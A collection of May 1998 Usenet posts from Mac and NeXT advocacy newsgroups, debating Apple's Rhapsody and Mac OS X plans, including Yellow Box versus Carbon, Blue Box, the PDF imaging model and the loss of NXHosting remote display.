> Apple's problem with getting into MIS eh?
Good point.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
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References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>
<EsvxtF.7G0@micmac.com> <4Kk61.2106$sy4.4060601@news.rdc1.sdca.home.com>
<Et04Eo.4x7@micmac.com>
Message-ID: <uQ771.605$Fi2.704485@news.rdc1.sdca.home.com>
Date: Sat, 16 May 1998 03:35:54 GMT
NNTP-Posting-Date: Fri, 15 May 1998 20:35:54 PDT
Organization: @Home Network
In <Et04Eo.4x7@micmac.com> Michel Coste wrote:
> This was written in comp.sys.next.advocacy,comp.sys.mac.advocacy
> (<4Kk61.2106$sy4.4060601@news.rdc1.sdca.home.com>) by Rex Riley:
[snip stuff]
> > I know Steve doesn't like to build software that sells someone else's
> > hardware. Unless there is a two way opportunity for PPC hardware sales,
> the
> > argument for cross-compiling - weak.
> >
> > > The fact that it is not written or said doesn't mean it won't happen...
> > >
> > >
> >
> > I just wouldn't build any Business Plans on the strength of your
> > convictions...
> >
>
> I didn't ask you to do that! =;)
>
>
If you are a Venture Capitalist, ISV or Microsoft Developer, what pray tell do
you suggest that they base their forward looking prospectus' . As an
investor, business executive or entrepreneur, there must be more tangible
proof to base decisions than what is not said.
-r
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 23:38:12 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jj1n4$boe$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6jhtr4$ibt$1@nnrp1.dejanews.com> <355cdd40.0@news.depaul.edu> <355CDD20.8AA246D1@milestonerdl.com>
In article <355CDD20.8AA246D1@milestonerdl.com>, mark@milestonerdl.com wrote:
> Jonathan W Hendry wrote:
> > In comp.sys.next.advocacy spagiola@my-dejanews.com wrote:
> > > :: (if it ever appears). I think it was mentioned that DR2 runs
> > > :: on the current Windows 98 beta.
> > > See http://www.stepwise.com/SpecialCoverage/WWDC98/index.html
> > > Satisfied?
> > Of course Marc's not satisfied. He's an ankle-biting troll, trying
> > to match Harker's prodigious output.
> That's the best you can do?
He wasn't attempting to win a contest, just state the truth. It must
be the truth, right? The alternative is to believe you really are
that naive, and think that Apple would gain from that ridiculous
"bait-and-switch" strategy. Easier to believe you're just trolling.
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 16 May 1998 03:38:57 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jj1oh$67s$1@camel19.mindspring.com>
References: <6jatq7$72e$1@xmission.xmission.com> <6ji528$n8h$2@msunews.cl.msu.edu> <19980515144051792066@sdn-ts-009txhousp03.dialsprint.net>
Mime-Version: 1.0
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In article <355C4B7B.33644A11@milestonerdl.com> M Rassbach,
mark@milestonerdl.com writes:
>What? Truth hurts? Face it, I have a credible message questioning Apple's
>committment to Intel/NT 5.x/98 as a long term option. And you are to in love
>with Apple to admit there is a problem.
Yellow box already works on Win98.
GO AWAY!
Jeeze.
MC
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>
<EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190>
<355B1D3F.27453C81@nospam.com> <see-below-1405982250180001@209.24.240.162>
<355C32EB.EEC7D4F@milestonerdl.com>
Message-ID: <6T771.614$Fi2.704485@news.rdc1.sdca.home.com>
Date: Sat, 16 May 1998 03:38:42 GMT
NNTP-Posting-Date: Fri, 15 May 1998 20:38:42 PDT
Organization: @Home Network
In <355C32EB.EEC7D4F@milestonerdl.com> M Rassbach wrote:
>
>
> Matthew Vaughan wrote:
>
> > Exactly. What I mean is: if Apple intends to abandon Yellow Box for Intel,
> > and already knows that Mac developers aren't keen on moving over to it
> > despite its advantages, why would they keep working on Yellow Box at all?
>
> Because Apple is hoping to grow its marketshare by getting cross-platform
> developers to sign on to YellowBox development. Then, make them MacOS X
> developers via dropping support for the NT 5 platform. If you want to be
> supported, move to PPC will be the offer.
>
>
This maybe the end result if Apple has to cut costs downstream... someday. It
must be one of the risks Developer's live with until Apple commits otherwise.
-r
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 20:56:50 -0700
Message-ID: <see-below-1505982056500001@209.24.241.97>
References: <ericb-1105981718430001@132.236.171.104> <895179379.806734@kelp.mbay.net> <6jfmgm$7pe$1@crib.bevc.blacksburg.va.us> <6jhodi$ckf@papoose.quick.com> <6jhv7a$aph$1@crib.bevc.blacksburg.va.us>
In article <6jhv7a$aph$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <6jhodi$ckf@papoose.quick.com>, jq@papoose.quick.com (James
E. Quick) wrote:
>
> > In article <6jfmgm$7pe$1@crib.bevc.blacksburg.va.us>,
> > Nathan Urban <nurban@vt.edu> wrote:
>
> > >But the point was that without YB on MacOS, the footing isn't equal.
> > >Developers can say "Well, I can write a Carbon app that will run on
> > >OS X and MacOS, or a Yellow one that will run on OS X and Windows".
> > >There are advantages to targeting Windows, but there are advantages to
> > >targeting MacOS too -- especially if you're already in the Mac market.
> > >Mac developers may choose Carbon so to satisfy some of their loyal
> > >customer base, even if Yellow is a technically superior choice.
>
> > Nathan you have a point but not a relevant one.
>
> It is too relevant.
>
> > It's not about
> > seats but about sales. As systems get older their users buy less
> > software for them. Even when a substantial portion of the market
> > has older systems, they tend to purchase less, and therefor are a
> > disproportionately smaller part of the software marketplace.
>
> I understand that, but System 7/8-based platforms are still going to
> represent a large portion of _sales_ until OS X has been adopted in a
> more widespread matter. The adoption of OS X will undoubtedly happen,
> but it will take time before penetration is such that developers can
> choose to ignore those customers, the size of the Mac market being what
> it is and all.
All the more reason why Yellow Box for Windows _will_ be released.
Otherwise developers have lots of reasons to stick with MacOS/Carbon, and
only "technical superiority" reasons to switch to Yellow Box. If Apple
doesn't want them to eventually switch to Yellow Box, and isn't going to
offer it on other platforms, then why wouldn't Apple just cancel Yellow
Box entirely right now? That's an awful lot of development work to go to
for something they don't intend for their developers and customers to use.
Yes, you can pull out OpenDoc and GX and Newton as past examples all you
want - this is a different Apple, and I'm convinced it knows what it's
doing for once. Also, the problem with OpenDoc and GX was precisely that
they weren't available for Windows - otherwise, they had a similar
position as Yellow Box - neato, technically wonderful, but getting a cool
reception from most developers, and something that customers aren't
clamoring for either.
Without Windows, Yellow Box is just another OpenDoc or GX, and Apple knows this.
If Apple doesn't have a long-term cross-platform strategy, then why are
they spending so much on QuickTime for Windows? Why so much effort to
integrate Java into Rhapsody?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: MR_boxster@noSPAM_yahoo.com (MR_boxster)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Fri, 15 May 1998 20:42:11 -0800
Organization: nospam_please
Message-ID: <MR_boxster-1505982042120001@interax.vip.best.com>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355AF1CA.79FBB58C@milestonerdl.com> <rmcassid-1405981204020001@dante.eng.uci.edu>
In article <rmcassid-1405981204020001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
>
> >> What would a graphic artist use Unix for?
> >
> >Rendering comes to mind, right off the top of my head.
>
> Why would they need unix for that? I can't do rendering on a Mac?
>
So you can set up parellel, render farms. Tell the unix box what amount
CPU utlization should be dedicated to a job. Possibly run a Cron job at
night .
Why have a GUI overhead when you can run it on a command line..
How did you think Titanic was done.. Using a renderfarm of Linux machines
on DEC Alphas... Now image Rhapsody and a renderfarm of Powermacs with
such publicity.
In fact, a lot of the Big, Big 3D house (Digital Domain, LucasArts) write
their own software and customize their render farms because off-the-shelf
applications couldn't fulfill those needs.
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: IDEAS: proposed improvements for the MacOS
Date: Fri, 15 May 1998 23:31:54 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <6jj1ck$mq3$1@news12.ispnews.com>
References: <6ji90s$522$1@nnrp1.dejanews.com> <stone-ya02408000R1505982053050001@news.enetis.net>
x-no-archive: yes
Kevin Stone wrote:
>jmcvay@lynn.edu wrote:
>
>> i) Documents should not only include the ability to add
>> comments, but also versioning.
>
>Why would you want to change the version? The compilers keep track of the
>version for developers. Only the developer him self would be concered with
>the version number. Besides... if you really need to do this you can
>always use ResEdit to modify the "vers" resource.
Document versioning, not app or library versioning. It's
really nice for when you're collaborating on documents
with other people, especially when you're not all at the
same physical location. MS Office does a decent job of
this, but I wouldn't really want it built into the OS itself.
Z
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 00:06:31 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1605980006320001@192.168.0.3>
References: <355C8A93.F71D9C6D@spamtoNull.com> <B181EB86-C00BD@206.165.43.138> <355cc1cc.0@news.camtech.net.au>
In article <355cc1cc.0@news.camtech.net.au>, "timothyp@tne.net.au"
<timothyp@tne.net.au> wrote:
:PDF is just plain aweful. While I applaude Apple trying to get away from
paying
:outrageous royalties to Adobe, I still fail to see the advantages (as the
:Graphics and Imaging session tried to imply) over PS. It will be
interesting to
:see how this pans out in the future.
Yep, PDF is a fairly skanky format. Nowhere near as nice as GX's stream
format, and the files tend to be larger too. I don't know what kind of
deals Apple struck with Adobe, but I think their (unfortunate) choosing of
PDF was one of the results. It would have been much better to create an
editable format like the GX stream format and provide converters to and
from PDF. PDF as a clipboard format? Urk...
:PS: Does anyone know exactly why the new model excludes NXHosting? Seems like
:a real step backwards to me.
My guess is time. It's going to take a while to get a new window server
up and going, it's going to take a while to get the extended Quickdraw up
and going, and it's going to take a while to make the necessary changes to
the Yellow Box. I think it will come back eventually, but I think Apple's
got more pressing matters to work on.
-Eric
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
MIME-Version: 1.0
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References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>
<EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190>
<355B1D3F.27453C81@nospam.com> <see-below-1405982250180001@209.24.240.162>
Message-ID: <q3871.623$Fi2.704485@news.rdc1.sdca.home.com>
Date: Sat, 16 May 1998 03:51:50 GMT
NNTP-Posting-Date: Fri, 15 May 1998 20:51:50 PDT
Organization: @Home Network
In <see-below-1405982250180001@209.24.240.162> Matthew Vaughan wrote:
> In article <355B1D3F.27453C81@nospam.com>, Tim Triemstra
> <nospam@nospam.com> wrote:
>
> > Matthew Vaughan wrote:
> >
> > > Also, Rex's statement is incorrect. Developers went from a
> > > start-from-scratch major rewrite, compile once, deploy elsewhere to a
> > > minor touch up, compile once, deploy once situation.
> >
> > True, but how is touching up old Mac OS apps going to increase market
> > share? I agree it is important, but if Apple doesn't stop making it
> > sound like this is "the way" to the future for Apple, we'll never see
> > any Yellow apps.
> >
> > > They still have the yellow box option as before.
> >
> > True, but will Yellow Run on anything other than Mac OS X (which will
> > only run on Macs) in the next couple years? If not, then Yellow is just
> > another API for the same system, so why bother with it at all, just
> > write for Carbon...
>
> Exactly. What I mean is: if Apple intends to abandon Yellow Box for Intel,
> and already knows that Mac developers aren't keen on moving over to it
> despite its advantages, why would they keep working on Yellow Box at all?
>
>
Apple doesn't care what API developer's choose to stay. Think OPENSTEP... not
different. Developers can write Mac, Carbon, Yellow, Java with whatever
framework suites their development style. Think cross-compile in reverse.
There will need to be multi IB's in whatever flavor Du Jour. MTWKF is a good
candidate for Apple to get this on board.
They keep working on YB because in the Operating System's race NO ONE can rev
their OS faster than YB-based Macos X. If their becomes an OS war. Attrition
will hit Apple's competition hard. That is why they keep working on YB
irregardless, whether *any* Developer's use it.
And use it they will...
-r
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 23:54:33 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us>
References: <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <B1824879-5DEAC@207.217.155.190>
In article <B1824879-5DEAC@207.217.155.190>, "Brad Hutchings" <brad@hutchings-software.com> wrote:
> >> Someone starting a new app should definitely consider YB _when MacOSX
> >> ships_. Right now, however, if you start a new app with hopes of
> >> bringing it to market by fall, you might be taking a significant risk
> >> writing to YB.
> >Why is that? YB will be shipping in the fall. Even if you don't believe
> >that, you can still consider YB when Rhapsody ships, before OS X does.
> OpenDoc shipped on time too. It was also publicly rolled out on time. Then
> it was axed.
So? I love it when people bring up past projects that Apple axed,
without ever considering _why_ they were axed, and the similarity and
differences in the situations, not only between the things that were
killed but between the things that were not.
> >Or, if you're _really_ paranoid, you can even wait until the OS X beta
> >comes out in Q1 99 to prove that Carbon is viable. There's no need to
> >wait until Q3 99 to even consider writing YB apps.
> Unless you're doing specialty apps that can benefit from Rhapsody,
_Any_ app can benefit from Rhapsody.
> why not deploy to "Carbon" using PowerPlant?
Because Yellow is better?
> That is a sure bet.
Why do you think there's less of a chance of them shipping Yellow
than Carbon?
> There is an installed base of real users right now
Yes, that's a point I made -- developers can't deploy to the existing
MacOS base with Yellow, but can with Carbon. OTOH, Yellow will ship in
Rhapsody in _some_ form a year earlier than Carbon will ship in OS X.
> I admire the developers who are going Yellow now, the same way a lot of
> developers say they "admired" the OpenDoc crowd. They were happy we were
> enthusiastic and all for us forging ahead and blazing the trail, but glad
> they were far enough behind to see us get burnt and not get burnt
> themselves.
This is not similar to OpenDoc. OpenDoc was a middleware product with an
uncertain niche and dubious necessity, IMHO. Yellow is helpful in _all_
aspects of _all_ application development, and also allows for superb
Windows cross-platform ability at all levels for producing "native"
apps with few OS dependencies, expanding the market for developers.
There is much less reason to kill it. (Of course this is going to piss
off the OpenDoc advocates, but it's the way I see it.)
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 22:02:51 -0700
Message-ID: <see-below-1505982202520001@209.24.241.97>
References: <355B365F.929E049D@spamtoNull.com> <B1809773-7F1C1@207.217.155.114> <355C9631.C99DEE0E@spamtoNull.com> <ericb-1505981805550001@132.236.171.104>
In article <ericb-1505981805550001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> OS X still lets you step boldly into the future. But it doesn't force you
> to step boldly into the future. What I find upsetting is that Apple
> apparently isn't going to encourage you to go into the future either.
Right now. I have a feeling that will change by the time OS X comes out.
Apple wants to take this one step at a time. It doesn't want to make Mac
developers uncomfortable with the need to switch to Yellow Box. But once
they've moved to Carbon and those products are shipping, I think there
will be a much bigger push for Yellow Box.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Message-ID: <355C9631.C99DEE0E@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <355B365F.929E049D@spamtoNull.com> <B1809773-7F1C1@207.217.155.114>
Content-Type: text/plain; charset=us-ascii
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Date: Fri, 15 May 1998 19:20:06 GMT
NNTP-Posting-Date: Fri, 15 May 1998 15:20:06 EDT
Brad Hutchings wrote:
>
>
> As first proposed, Blue Box was a virtual machine which did not share
> screen space with the host OS. I don't know whether I was or still am under
> NDA for the Blue Box lab at WWDC last year. Let's just say that the lab
> existed and there was reason for Mac developers to be excited about what
> they saw.
I was a big blue box fan when the concept was first announced and
explained. I still am. I think the
blue-box-for-legacy-compatibility/Rhapsody-for-the-future was a *great*
plan. I think that properly implemented, it would have worked.
But now, Apple wants to cut function calls (to make you feel better)
just to make Copland a reality as Mac OS 10. Including everything would
have been impossible, so he cuts to supposedly allow minor tweaking to
pump up and run legacy applications.
Personally, I liked the blue-box/Rhapsody scenario a lot better. I think
the reason Adobe didn't "jump on the bandwagon" was simply because DR1
didn't provide enough for them to seriously work with, and because
Apple/Jobs were openly so silent on the issue of Rhapsody. After the
clone fiasco, who can blame Adobe for being cautious with development
dollars thrown after Apple technology?
Personally, again, I don't think it was the "technology" aspect which
made Adobe lukewarm, I think it was a generalized confidence issue
regarding Apple's future that made them lukewarm.
Rhapsody-Blue box, implemented as originally advertised, would have
allowed Apple to step boldly into the future while retaining 95% or
better legacy capability. That's the way it's done. This insistence on
the "Mac OS 10-Crown Jewel" approach by Jobs does nothing for me. It
sounds too much like Copland dusted off and tried again (although it
isn't--which makes it too bad Jobs makes it sound so much like it is.)
>
> I agree with your timeline comment - see above. As mmalc pointed out, the
> politcial issue with this whole thing was that most Mac developers weren't
> moving to the Rhapsody bandwagon. I've seen 1000 valid reasons why a
> developer would not want to move to Rhapsody. Apple had to deal with
> reality.
Well, on the other hand, I've seen a lot of great reasons why developers
would have liked Rhapsody, too. I think the problem was that in its DR1
stage things were just too nebulous to rely on, from the developer
standpoint. That, coupled with the insecurity of Apple's back & forth,
were probably the main reasons no major developers were chomping at the
bit to jump onboard Rhapsody.
>
> They had. And the thing I think you miss is that there _will_ be a Blue Box
> for non-Carbonized legacy apps. It was impressive a year ago, and will be
> impressive 16 months from now - if we get there. I do agree that Apple
> Heaven has been perpetually 18 months away for several years, and my
> patience long since ran out with the Apple Future. But this plan makes
> sense, and I think is a positive sign that Apple might be starting to
> understand its developers again. Apple has a long way to go.
>
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 22:10:35 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8zog2.lzfhfk1v8ny72N@carina47.wco.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <see-below-1305982104330001@209.24.241.190>
Matthew Vaughan <see-below@not-my-address.com> wrote:
> If they're going to do that, why not just cancel Yellow Box right now?
>
> Just because it can be done doesn't make it likely, or even a good idea.
Precisely. Carbon provides a path to port existing apps to a modern OS.
Even if the Carbon APIs work on either endian architecture, all those
apps are going to have endian problems, if only in the gunk they save to
disk.
Yellow provides a very productive, rich, and highly leveraged modern
developemnt environment on a modern OS. It is aimed at new application
development, as well as supporting migration of OPENSTEP apps, in a
platform independent environment. Yellow apps get to take easy
advantage of modern OS services such as distributed objects, modern
languages such as Java, and modern development techniques such as object
oriented programming.
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Fri, 15 May 1998 22:10:42 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8zp3r.1vm5efudfj2l8N@carina47.wco.com>
References: <6jbt5d$1cc$16@ironhorse.plsys.co.uk> <B17F1B71-18255@206.165.43.172> <6jcogg$1cc$30@ironhorse.plsys.co.uk> <B17F4FD6-DD27B@206.165.43.172>
Lawson English <english@primenet.com> wrote:
> Define "useful parts."
Everything Lawson is not using? He's been a pretty good 'wrong-way'
weather vane in the past...
--
Mike Paquette mpaque@wco.com
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Fri, 15 May 1998 21:49:32 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355CA9E5.44F6@earthlink.net>
References: <6jiaqk$6sf$4@news.xmission.com> <B1828620-F829A@208.254.112.129> <6jj570$bt1$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
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When you tear off a menu, will the menubar go away?
Steve
Date: Sat, 16 May 1998 14:39:50 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104>
<pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104>
<6j82vd$1cc$1@ironhorse.plsys.co.uk>
<ericb-1505981824260001@132.236.171.104>
Organization: Cybermarket Australia
Mime-version: 1.0
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Message-ID: <355d1e52.0@news.camtech.net.au>
In article <ericb-1505981824260001@132.236.171.104> , ericb@pobox.com (Eric
Bennett) wrote:
>In article <6j82vd$1cc$1@ironhorse.plsys.co.uk>, mmalcolm crawford
><malcolm@plsys.co.uk> wrote:
>
>> Well, sadly you're blaming the wrong group.
>>
>> The people to blame are the Mac developers, and the Big Brand names in
>> particular, who didn't stand up and embrace Rhapsody.
>
>I agree that developers share much of the blame. But it comes full circle
>when you realize that a lot of developers don't embrace new Apple
>technologies because Apple has burned them so many times in the past. In
>that respect Apple certainly shares some blame. Apple needed to make a
>strong case that this time things would be different. They didn't do
>that.
>
>> What Apple has had to do is make itr even easier for these people to come to
>> the Rhapsody table, and blur things such that it's now almost impossible for
>> anyone to see exactly where all that NeXT-based magic has gone.
>
>I would love to see them port ClarisWorks/AppleWorks to YB as a
>demonstration of the power of YB in a cross-platform world. ClarisWorks
>was to have been the demo product for OpenDoc, but it was scrapped.
Yes!
Claris really did seem to have the heads up their bottoms for the last two years
with CW. It would be nice to see Apple port CW to Yellow and add a heap of
functionality to it like auto-numbering, better style handling etc. I would
love to use CW for technical writing but it just cant cut it. I had to end up
going to Quark to type-set my thesis (which was a pain in itself) because all
the so-called powerful word-processors out there were just junk. Anyone ever
noticed the difference in using EPS's in ANY of the main-stream WP's versus say
Quark? It is really very sad.
I am a bit worried about Apple's imaging plans at the moment. It looks too much
like they said (shite we cant get carbon and DPS to play nice so lets scrap DPS.
Never mind that we have nothing else that will work with the carbon API's at
this moment. we'll "extend QD". And we can put the spin that licencing costs
were to blame).
Maybe thats not how it really is, but the imaging model still looks pretty rocky
to me.
Tim Priest
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 1998 01:22:52 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jj7rc$bu8$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk> <ericb-1505981824260001@132.236.171.104> <355d1e52.0@news.camtech.net.au>
In article <355d1e52.0@news.camtech.net.au>, "timothyp@tne.net.au" <timothyp@tne.net.au> wrote:
> I am a bit worried about Apple's imaging plans at the moment. It looks too
> much like they said (shite we cant get carbon and DPS to play nice so lets
> scrap DPS. Never mind that we have nothing else that will work with the
> carbon API's at this moment. we'll "extend QD". And we can put the spin that
> licencing costs were to blame).
I don't see why Carbon and DPS wouldn't play "less nice" than Carbon and
the current imaging model. (The again, I still don't fully understand the
imaging model.) It _does_ look to me like licensing costs were to blame.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 16 May 1998 01:27:00 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jj834$bvb$1@crib.bevc.blacksburg.va.us>
References: <6jiaqk$6sf$4@news.xmission.com> <B1828620-F829A@208.254.112.129> <6jj570$bt1$1@crib.bevc.blacksburg.va.us> <355CA9E5.44F6@earthlink.net>
In article <355CA9E5.44F6@earthlink.net>, skellener@earthlink.net wrote:
> When you tear off a menu, will the menubar go away?
You mean the whole menu bar? Why should it? How could you get to
higher level menus?
I would like to know if you can make the entire top-level menu bar
vertical.. probably not..
Message-ID: <355D25A7.F4617E84@unet.univie.ac.at>
Date: Sat, 16 May 1998 07:35:35 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
References: <6jhivm$22a$1@nnrp1.dejanews.com> <355CC6E3.F30A0812@nstar.net> <6jij29$dq6$5@news.seicom.net> <Et0nDE.Ixo@abulafia.in-berlin.de> <6jivae$1ju$1@camel19.mindspring.com>
Content-Type: text/plain; charset=us-ascii
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Just curious:
How are chances for third parties to reintroduce NXHosting, with the new
display system, technically?
Is there a real restraint, or can it just be added to the WindowServer?
(I never went into the intricacies, just knew it was there and roughly what
it was about.)
Christian Benesch
Matthew Cromer wrote:
> In article <355CC6E3.F30A0812@nstar.net> Michael J. Peck,
> mjpeck@nstar.net writes:
> >I don't really think VNC is a viable solution. VNC simply takes a
> >picture of the current framebuffer and sends it over the wire with your
> >choice of compression. Unlike a real remotability protocol, e.g. X, it's
> >inefficient and barely-usable over anything less than 10Mbps Ethernet.
> >
> >MJP
>
> Timbuktu software works fine even over a 28.8 connection.
>
> The problem is, NXHosting lets you host multiple client sessions off of a
> single computer.
> Nothing like that with Timbuktu or PCAnywhere.
>
> Dammit, this needs to be put back into place ASAP.
>
> Matthew Cromer
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 15 May 1998 23:35:25 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6jj8it$5t4$1@xmission.xmission.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30> <6ji5h4$s4k@sheepskin.cs.indiana.edu> <6jiaib$dq6$1@news.seicom.net> <355CC6E3.F30A0812@nstar.net> <6jij29$dq6$5@news.seicom.net>
In comp.sys.next.advocacy Frank M. Siegert <frank@this.NO_SPAM.net> wrote:
: True, but NXHost'ing over a slow line can be quite challenging too
FYI, I NXHost apps on my remote web server over a 128Kb ISDN line. It
works just fine--it's only a little slow.
..........kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 15 May 1998 23:33:57 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6jj8g5$5no$1@xmission.xmission.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30> <6ji5h4$s4k@sheepskin.cs.indiana.edu> <6jiaib$dq6$1@news.seicom.net>
In comp.sys.next.advocacy Frank M. Siegert <frank@this.NO_SPAM.net> wrote:
: VNC (see http://www.orl.co.uk/vnc ) could be ported if enough interest is
: there.
Or we could write a JavaBean that uses RMI to send display data over the
wire. You could run a remote UI in Interface Builder in test mode. =)
..............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: "scott hand" <vidahand@mail.doh!.earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 16 May 98 01:36:03 -0400
Organization: EarthLink Network, Inc.
Message-ID: <B1829E08-42F7B@208.254.112.74>
References: <6jj570$bt1$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
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On Sat, May 16, 1998 12:37 AM, Nathan Urban
<mailto:nurban@crib.bevc.blacksburg.va.us> wrote:
>In article <B1828620-F829A@208.254.112.129>, "scott hand" <
>> The article this thread refers to has a picture of the appearance prefs
>> panel which shows the "style" as a selection (Apple Dark Platinum in the
>> picture). What more do you need?
>
>An object oriented appearance API.
>
>> An object oriented appearance API should
>> make third party appearances trivial and plentiful,
>
>Okay, I'd like to see them announce one. I figure they probably will,
>though.
OK, it's an assumption, but I'm assuming that since they have "Appearances"
on Rhapsody that the API in question does exist. I guess it's a matter of
it being made available to third parties.
